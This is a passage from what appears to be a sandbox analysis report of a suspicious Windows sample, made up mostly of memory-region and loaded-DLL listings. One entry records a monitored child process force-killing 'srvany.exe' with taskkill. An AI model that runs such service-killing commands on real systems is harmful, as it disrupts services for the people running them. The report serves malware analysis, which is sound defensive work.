"c:\\windows\\syswow64\\secur32.dll") Region: id = 4329 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4330 start_va = 0x74c30000 end_va = 0x74c3efff entry_point = 0x74c312a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4331 start_va = 0x74c50000 end_va = 0x74c84fff entry_point = 0x74c513d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4332 start_va = 0x74c90000 end_va = 0x74c98fff entry_point = 0x74c915a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4333 start_va = 0x74ca0000 end_va = 0x74cb0fff entry_point = 0x74ca1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4334 start_va = 0x74cc0000 end_va = 0x74cccfff entry_point = 0x74cc11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4335 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4336 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4337 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4338 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4339 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4340 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4341 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4342 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4343 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4344 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4345 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4346 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4347 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4348 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4349 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4350 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4351 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4352 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4353 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4354 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4355 start_va = 0x680000 end_va = 0x807fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 4356 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4357 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4358 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4359 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4360 start_va = 0xf0000 end_va = 0xf3fff entry_point = 0xf0000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4361 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 4362 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4363 start_va = 0x160000 end_va = 0x21ffff entry_point = 0x160000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4364 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4365 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4366 start_va = 0x390000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4367 start_va = 0x900000 end_va = 0x93ffff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 4368 start_va = 0x9a0000 end_va = 0xb20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 4369 start_va = 0xb30000 end_va = 0x1f2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 4370 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4371 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4372 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 4373 start_va = 0x74b70000 end_va = 0x74bcbfff entry_point = 0x74b92b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4374 start_va = 0x74c40000 end_va = 0x74c49fff entry_point = 0x74c4149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4375 start_va = 0x2f0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 4376 start_va = 0x470000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 4377 start_va = 0x74c00000 end_va = 0x74c28fff entry_point = 0x74c06b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4378 start_va = 0x820000 end_va = 0x85ffff entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 4379 start_va = 0x1f30000 end_va = 0x21fefff entry_point = 0x1f30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4380 start_va = 0x2260000 end_va = 0x229ffff entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 4381 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4382 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4383 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4384 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4385 start_va = 0x350000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 4386 start_va = 0x2320000 end_va = 0x235ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 4387 start_va = 0x23e0000 end_va = 0x241ffff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 4388 start_va = 0x2490000 end_va = 0x24cffff entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 4389 start_va = 0x74bf0000 end_va = 0x74bfefff entry_point = 0x74bf21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4390 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4391 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4392 start_va = 0x6a880000 end_va = 0x6a915fff entry_point = 0x6a89f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 4393 start_va = 0x74bd0000 end_va = 0x74be7fff entry_point = 0x74bd1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 269 os_tid = 0xbbc Thread: id = 270 os_tid = 0x4fc Thread: id = 271 os_tid = 0x7cc Thread: id = 272 os_tid = 0x780 Thread: id = 273 os_tid = 0x494 Process: id = "37" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x56e34000" os_pid = "0x7b0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM srvany.exe /IM srvany.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4394 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4395 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4396 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4397 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4398 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4399 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4400 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4401 start_va = 0x640000 end_va = 0x655fff entry_point = 0x645c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4402 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4403 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4404 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4405 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4406 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4407 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4408 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4409 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4410 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4411 start_va = 0x3f0000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 4412 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4413 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4414 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4415 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4416 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4417 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4418 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4419 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4420 start_va = 0x7d0000 end_va = 0x8cffff entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 4421 start_va = 0xac0000 end_va = 0xacffff entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 4422 start_va = 0x6a830000 end_va = 0x6a91afff entry_point = 0x6a8313ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4423 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4424 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 4425 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4426 start_va = 0x74c40000 end_va = 0x74c4efff entry_point = 0x74c412a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4427 start_va = 0x74c50000 end_va = 0x74c58fff entry_point = 0x74c515a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4428 start_va = 0x74c60000 end_va = 0x74c70fff entry_point = 0x74c61300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4429 start_va = 0x74c80000 end_va = 0x74c8cfff entry_point = 0x74c811e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4430 start_va = 0x74c90000 end_va = 0x74cc4fff entry_point = 0x74c913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4431 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4432 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4433 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4434 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4435 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4436 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4437 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4438 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4439 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4440 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4441 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4442 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4443 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4444 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4445 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4446 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4447 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4448 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4449 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4450 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4451 start_va = 0x470000 end_va = 0x5f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 4452 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4453 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4454 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4455 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 4456 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4457 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4458 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4459 start_va = 0x160000 end_va = 0x21ffff entry_point = 0x160000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4460 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4461 start_va = 0x2e0000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 4462 start_va = 0x340000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 4463 start_va = 0x720000 end_va = 0x75ffff entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 4464 start_va = 0x8d0000 end_va = 0xa50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 4465 start_va = 0xad0000 end_va = 0x1ecffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 4466 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4467 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4468 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 4469 start_va = 0x74bd0000 end_va = 0x74c2bfff entry_point = 0x74bf2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4470 start_va = 0x74c30000 end_va = 0x74c39fff entry_point = 0x74c3149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4471 start_va = 0x1ed0000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 4472 start_va = 0x1fd0000 end_va = 0x200ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 4473 start_va = 0x74ba0000 end_va = 0x74bc8fff entry_point = 0x74ba6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4474 start_va = 0x280000 end_va = 